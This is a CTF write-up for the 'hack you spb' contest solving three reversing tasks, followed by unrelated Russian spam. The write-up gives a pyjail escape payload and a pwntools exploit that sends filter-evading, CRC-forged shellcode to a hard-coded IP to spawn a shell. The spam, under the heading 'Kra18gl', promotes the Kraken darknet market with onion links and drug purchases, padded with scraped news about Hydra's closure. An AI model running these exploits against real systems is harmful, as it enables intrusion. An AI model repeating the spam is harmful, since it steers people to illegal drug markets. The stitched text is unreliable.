Kra18gl
This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any кракен SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Kra18gl - Кракен сайт 14
5/5 Ссылка TOR зеркало Ссылка Только TOR TOR зеркало http l4rh2rygt37mtx6xldjphigypxs43whhcne3frmci4wwz3sq3qrxt7yd. Если вам нужен сайт, защищённый технологией шифрования зеркало Tor, вы должны использовать одноимённый браузер. Onion - Freedom Image Hosting, хостинг картинок. Программное обеспечение. 5/5 Ссылка TOR зеркало Ссылка Только TOR TOR зеркало http dreadytofatroptsdj6io7l3xptbet6onoyno2yv7jicoxknyazubrad. Мы долго молчали, так как вся энергия и время уходили на реализацию абсолютно нового подхода и новой архитектуры на kraken onion. Площадка kraken kraken БОТ Telegram Даркпул Сервис позволяет трейдерам тайно размещать крупные ордера на покупку и продажу, не предупреждая остальных участников рынка? Система рейтингов продавцов. Он даже имеет сертификат безопасности http для еще лучшей защиты. Onion - onelon, анонимные блоги без цензуры. Зеркало arhivach. Onion - SkriitnoChan Просто борда в торе. Кардинг / Хаккинг. Причисляют к существенным недостаткам: Интерфейс сайта m, по сути, двуязычный японский и английский. Onion - CryptoShare файлообменник, размер загрузок до 2 гб hostingkmq4wpjgg. Русское сообщество. Некоторые юзеры отмечают, что авто выбор серверов лишает их возможности самостоятельно настроить сессию, хотя, кому-то эта опция наоборот нравится. Площадка kraken kraken БОТ Telegram Onion kraken Архива. Сайты ссылки сети TOR, поиск в darknet, сайты Tor. Hansamkt2rr6nfg3.onion - Hansa зарубежная торговая площадка, основной приоритет на multisig escrow, без btc депозита, делают упор на то, что у них невозможно увести биточки, безопасность и всё такое. Onion/ - Ahima, поисковик по даркнету. Та же ситуация касается и даркнет-маркетов. Onion - Нарния клуб репрессированных на рампе юзеров. Но это не означает, что весь даркнет доступен только через Tor.
Ранее стало известно, что в Германии закрыли крупнейший онлайн-магазин наркотиков «Гидра». А США ввели санкции против "Гидры". Источник Источник. Однако пока никакой из стран не удалось победить эту проблему на 100 заключил собеседник. «Центральное управление по борьбе с киберпреступностью прокуратуры Франкфурта-на-Майне и Федеральное управление уголовной полиции Германии отключили расположенную на территории страны серверную инфраструктуру крупнейшего в мире нелегального даркнет-рынка "Гидра". После этого рупор «Гидры» заявил о том, что «сроки восстановления работоспособности проекта будут озвучены в течение дня». Многие пользователи на даркнет-форумах предполагают, что на самом деле немецкая полиция смогла лишь арестовать серверы, которые оказались зашифрованными, из-за чего получить доступ к их содержимому не удалось. К моменту выхода материала этого не случилось. «В любом государстве власти должны сделать так, чтобы преступность не расхаживала по улицам. Вместе с тем сам факт закрытия площадки, где торговали не только наркотиками, но и оружием, а также фиксировались случаи заказа преступлений, Клименко назвал хорошей новостью. Что с "Гидрой" сейчас - почему сайт "Гидра" не работает сегодня года, когда заработает "Гидра"? Возможно, 2022-й станет годом окончательного закрытия "Гидры". Тем более там наверняка были некие копии серверов. Вечером появилась информация о том, что атака на «Гидру» часть санкционной политики Запада. И закрытие таких площадок помогает бороться с этой проблемой. (.) Но нужно время». По его словам, с технической точки зрения восстановить доступ к запрещенному ресурсу можно. Через два часа после блокировки пользователь с ником Hydra support емко написал: «Не переживайте, восстановим». Гидра не работает почему - Немецкие силовики заявили о блокировке «Гидры». Официальный представитель ресурса на одном из теневых форумов подтвердил наличие проблем с доступом и отметил, что техники пытаются их решить. Эксперт: Владельцы закрытой властями Германии Hydra попытаются восстановить доступ к ней. Продавцов наркотиками, поддельными документами и нелегально добытой информацией, пишет. Что такое "Гидра" и что случилось с этим даркнет-ресурсом "Гидра" это очень крупный русскоязычный интернет-магазин, в котором продавали наркотики и персональную информацию. Мы не подтверждаем другую информацию. Гидра будет работать? Потому что даже в пресс-релизе немецких силовиков есть ошибки». Вечером 5 апреля были проведены еще несколько транзакций на этот кошелек. Представители «Гидры» утверждают, что магазин восстановит работу. Мега официальный магазин в сети Тор. Купить закладки в даркнете в надежном даркмаркете. Оплата картой или криптой. Главное зеркало сайта. Старая ссылка. Onion - форум подлодка, всё о спутниковом телевидении. Onion/ - Blockchain пожалуй единственный онлайн bitcoin-кошелек, которому можно было бы доверить свои монетки. Оплата за товары и услуги принимается также в криптовалюте, как и на Гидре, а конкретнее в биткоинах. Оniоn p Используйте анонимайзер Тор для ссылок онион, чтобы зайти на сайт в обычном браузере: Теневой проект по продаже нелегальной продукции и услуг стартовал задолго до закрытия аналогичного сайта Гидра.